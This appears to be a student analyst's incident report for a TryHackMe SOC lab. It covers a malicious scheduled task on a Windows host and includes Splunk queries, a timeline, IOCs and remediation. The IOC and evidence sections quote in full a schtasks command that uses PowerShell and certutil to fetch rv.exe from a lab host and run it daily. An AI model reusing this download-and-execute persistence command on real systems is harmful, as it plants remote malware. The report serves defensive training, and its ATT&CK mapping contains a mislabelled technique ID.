

# Incident Report: Potential Task Scheduler Persistence

**Incident ID:** IR-2025-006

**Attack Type:** Persistence (Task Scheduler) - TryHackme

**Date:** Dec 21, 2025

**Analyst:** BALA KOTESWARA REDDY REDDYMALLI

**Severity:** High

**Status:** Closed - True Positive

## 1. Executive Summary

A suspicious scheduled task alert was triggered on host WIN-H015. Investigation has confirmed that the user account "oliver.thomson" created a scheduled task named AssessmentTaskOne. This task was configured to execute the Windows native binary certutil.exe to download a malicious payload (rv.exe) from a domain (tryhotme.com) everyday at 10:15 AM and save it as "DataCollector.exe" and start the Process execution of the payload.

## 2. Scenario Context

**Scenario:** You are working as a Level 1 SOC Analyst on shift at an MSSP. An alert has come through indicating that a suspicious scheduled task was created on a host.

**Alert Details:**

- **Alert Name:** Potential Task Scheduler Persistence Identified
- **Time:** 30/08/2025 10:06:07 AM
- **Host:** WIN-H015
- **User:** oliver.thompson
- **Task Name:** AssessmentTaskOne

Your job is to investigate this activity and decide whether it should be considered suspicious.

Environment	Details
Host	WIN-H015
User	oliver.thompson

### 3. Incident Timeline

Time	Event Description
30/08/2025 09:42:01	User "oliver.thompson" logged into the "WIN-H015" machine using RDP.
30/08/2025 09:51:19 - 30/08/2025 09:56:32	Ran Discover commands in command shell
30/08/2025 10:06:07	Created a scheduled Task named "AssessmentTaskOne" to ensure execution on everyday at 10:15:00 Hrs

### 4. Investigation Methodology

#### My Approach:

1. Reviewed the process activity of Scheduled Tasks.
2. Tracking all user activity using the associated Logon ID obtained in the previous step.
3. Determining the method by which the user logged onto the machine.(RDP-10)
4. Extracted IOCs for threat hunting

### 5. Technical Analysis

#### Detection queries(SPL):

##### Reviewing the Process activity of schtasks:

index="win-alert" EventCode=1 AND schtasks

##### Tracking User Activity associated with LogonId:

index="win-alert" ComputerName=WIN-H015 LogonId=0xF824F

| table \_time EventCode TaskCategory Image CommandLine ParentImage ParentCommandLine

##### Determining the method by which the user logged onto the machine:

index="win-alert" EventCode=4624 user="oliver.thompson" Logon\_ID=0xF824F

| table \_time user Logon\_Type src Workstation\_Name

#### Key Findings:

- "AssessmentTaskOne" scheduled task was created by "oliver.thompson".
- By Tracing User Activity, multiple Discovery commands(whoami,net user, net localgroup) are found after the user logged in.
- "Oliver.thompson" was logged into the "WIN-H015" machine through RDP service.
- No Network traffic is observed.

## 6. Indicators of Compromise (IOCs)

Indicator Type	Value	Context
<b>Scheduled Task</b>	AssessmentTaskOne	Task Name
<b>Scheduled Task</b>	schtasks /create /tn "AssessmentTaskOne" /sc daily /st 10:15 /tr "powershell.exe -Command \"certutil.exe -urlcache -f http://tryhotme:9876/rv.exe C:\Users\OLIVER~1.THO\AppData\Lo cal\Temp\3\DataCollector.exe; Start-Process C:\Users\OLIVER~1.THO\AppData\Lo cal\Temp\3\DataCollector.exe\""	Task Commandline
<b>Tool Abused</b>	certutil.exe	LOLBIN
<b>C2 URL</b>	http://tryhotme:9876/rv.exe	Malicious Binary
<b>Local Malicious Binary Path</b>	C:\Users\OLIVER~1.THO\AppData\Lo cal\Temp\3\DataCollector.exe	Payload stored path locally on machine

## 7. MITRE ATT&CK Mapping

- **T1053 (ScheduledTask/Job):** AssessmentTaskOne scheduled task was configured to run the malware.
- **T1058 (Command and Scripting Interpreter) :** Scheduled tasks executes a powershell commandline argument to launch cerutil.exe.

## 8. Evidence Screenshots

### Splunk query showing Scheduled task:

splunk>enterprise

Apps

1 Messages

Settings

Activity

Help

Find

Search

Analytics

Datasets

Reports

Alerts

Dashboards

Search & Reporting

New Search

1 index="win-alert" EventCode=1 AND schtasks

2 | table \_time, User, LogonId, ComputerName, Image, CommandLine, ParentImage

Time range: All time

2 events (before 12/23/25 11:36:08.000 AM) No Event Sampling

Job

Smart Mode

Events

Patterns

Statistics (2)

Visualization

Show: 100 Per Page

Format

Preview: On

_time	User	LogonId	ComputerName	Image	CommandLine	ParentImage
2025-08-30 10:06:07	NOT_TRANSLATED WIN-H015\oliver.thompson	0xF824F	WIN-H015	C:\Windows\System32\schtasks.exe	schtasks /create /tn "AssessmentTaskOne" /sc daily /st 10:15 /tr "powershell.exe -Command 'certutil.exe -urlcache -f http://tryhotme:9876/rv.exe C:\Users\OLIVER-1.TH0\AppData\Local\Temp\3\DataCollector.exe; Start-Process C:\Users\OLIVER-1.TH0\AppData\Local\Temp\3\DataCollector.exe'"	C:\Windows\System32\cmd.exe
2025-08-30 09:56:32	NOT_TRANSLATED WIN-H015\oliver.thompson	0xF824F	WIN-H015	C:\Windows\System32\schtasks.exe	schtasks /query /fo LIST /v	C:\Windows\System32\cmd.exe

## Splunk query showing user activity of "Oliver.thompson":

_time	Image	CommandLine	ParentImage
2025-08-30 10:08:16	C:\Windows\System32\TSTheme.exe	C:\Windows\system32\TSTheme.exe -Embedding	C:\Windows\System32\svchost.exe
2025-08-30 10:06:07	C:\Windows\System32\schtasks.exe	schtasks /create /tn "AssessmentTaskOne" /sc daily /st 10:15 /tr "powershell.exe - Command \"certutil.exe -urlcache -f http://tryhotme:9876/rv.exe C:\Users\OLIVER~1\THO\AppData\Local\Temp\3\DataCollector.exe; Start-Process C:\Users\OLIVER~1\THO\AppData\Local\Temp\3\DataCollector.exe\""	C:\Windows\System32\cmd.exe
2025-08-30 10:04:04	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	C:\Windows\explorer.exe
2025-08-30 10:00:35	C:\Windows\System32\rundll32.exe	C:\Windows\system32\rundll32.exe Startupscan.dll,SusRunTask	C:\Windows\System32\svchost.exe
2025-08-30 10:00:35	C:\Windows\System32\taskhostw.exe	taskhostw.exe	C:\Windows\System32\svchost.exe
2025-08-30 10:00:33	C:\Windows\System32\taskhostw.exe	taskhostw.exe Install \$(Arg0)	C:\Windows\System32\svchost.exe
2025-08-30 09:59:52	C:\Windows\System32\mmc.exe	"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s	C:\Windows\explorer.exe
2025-08-30 09:59:34	C:\Windows\System32\dllhost.exe	C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}	C:\Windows\System32\svchost.exe
2025-08-30 09:59:33	C:\Windows\System32\ApplicationFrameHost.exe	C:\Windows\system32\ApplicationFrameHost.exe -Embedding	C:\Windows\System32\svchost.exe
2025-08-30 09:59:29	C:\Windows\System32\dllhost.exe	C:\Windows\system32\DllHost.exe /Processid:{7E55A26D-EF95-4A45-9F55-21E52ADF9887}	C:\Windows\System32\svchost.exe
2025-08-30 09:57:06	C:\Windows\System32\taskhostw.exe	taskhostw.exe Install \$(Arg0)	C:\Windows\System32\svchost.exe
2025-08-30 09:56:32	C:\Windows\System32\schtasks.exe	schtasks /query /fo LIST /v	C:\Windows\System32\cmd.exe
2025-08-30 09:53:49	C:\Windows\System32\net1.exe	C:\Windows\system32\net1 localgroup Administrators	C:\Windows\System32\net.exe
2025-08-30 09:53:49	C:\Windows\System32\net.exe	net localgroup Administrators	C:\Windows\System32\cmd.exe
2025-08-30 09:53:46	C:\Windows\System32\cmd.exe	"C:\Windows\system32\cmd.exe"	C:\Windows\explorer.exe
2025-08-30 09:53:36	C:\Windows\System32\net1.exe	C:\Windows\system32\net1 users	C:\Windows\System32\net.exe
2025-08-30 09:53:36	C:\Windows\System32\net.exe	net users	C:\Windows\System32\cmd.exe
2025-08-30 09:52:39	C:\Windows\System32\whoami.exe	whoami /groups	C:\Windows\System32\cmd.exe
2025-08-30 09:52:30	C:\Windows\System32\whoami.exe	whoami /priv	C:\Windows\System32\cmd.exe
2025-08-30 09:51:19	C:\Windows\System32\cmd.exe	"C:\Windows\system32\cmd.exe"	C:\Windows\explorer.exe
2025-08-30 09:51:19	C:\Windows\System32\dllhost.exe	C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}	C:\Windows\System32\svchost.exe

## Splunk query showing the method used by "oliver.thomson" to logon to the machine:

splunk>enterprise

Apps

1 Messages

Settings

Activity

Help

Find

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Analytics

Datasets

Reports

Alerts

Dashboards

Search & Reporting

New Search

Save As

Create Table View

Close

1 index="win-alert" EventCode=4624 user="oliver.thompson" Logon\_ID=0xF824F

2 |table \_time user Logon\_Type src Workstation\_Name

Time range: All time

✓ 1 event (before 12/23/25 11:45:01.000 AM)

No Event Sampling

Job

Smart Mode

Events

Patterns

Statistics (1)

Visualization

Show: 100 Per Page

Format

Preview: On

_time	user	Logon_Type	src	Workstation_Name
2025-08-30 09:42:01	oliver.thompson	RDP	10	WIN-H015

splunk>enterprise

Apps

1 Messages

Settings

Activity

Help

Find

Search

Analytics

Datasets

Reports

Alerts

Dashboards

Search & Reporting

New Search

Save As

Create Table View

Close

1 index="win-alert" EventCode=4624 user="oliver.thompson" | Logon\_Type=3 OR Logon\_Type=10

2 |table \_time user Logon\_Type src Workstation\_Name

Time range: All time

✓ 5 events (before 12/23/25 11:45:27.000 AM)

No Event Sampling

Job

||

Smart Mode

Events

Patterns

Statistics (5)

Visualization

Show: 100 Per Page

Format

Preview: On

_time	user	Logon_Type	src	Workstation_Name
2025-08-30 09:50:32	oliver.thompson	NLA	3	DEV-QA-SERVER
2025-08-30 09:50:30	oliver.thompson	NLA	3	DEV-QA-SERVER
2025-08-30 09:42:01	oliver.thompson	10	WIN-H015	WIN-H015
2025-08-30 09:42:01	oliver.thompson	10	WIN-H015	WIN-H015
2025-08-30 09:41:59	oliver.thompson	3	10.14.94.82	-

## 8. Recommendations & Remediation

- Isolate WIN-H015 from network
- Reset the oliver.thompson credentials.
- Delete scheduled tasks "AssessmentTaskOne"
- Remove C:\Users\OLIVER~1\THO\AppData\Local\Temp\3\DataCollector.exe
- Block the domain "tryhotme.com" in the firewalls/other security products.
- Create SIEM alert for non-standard port usage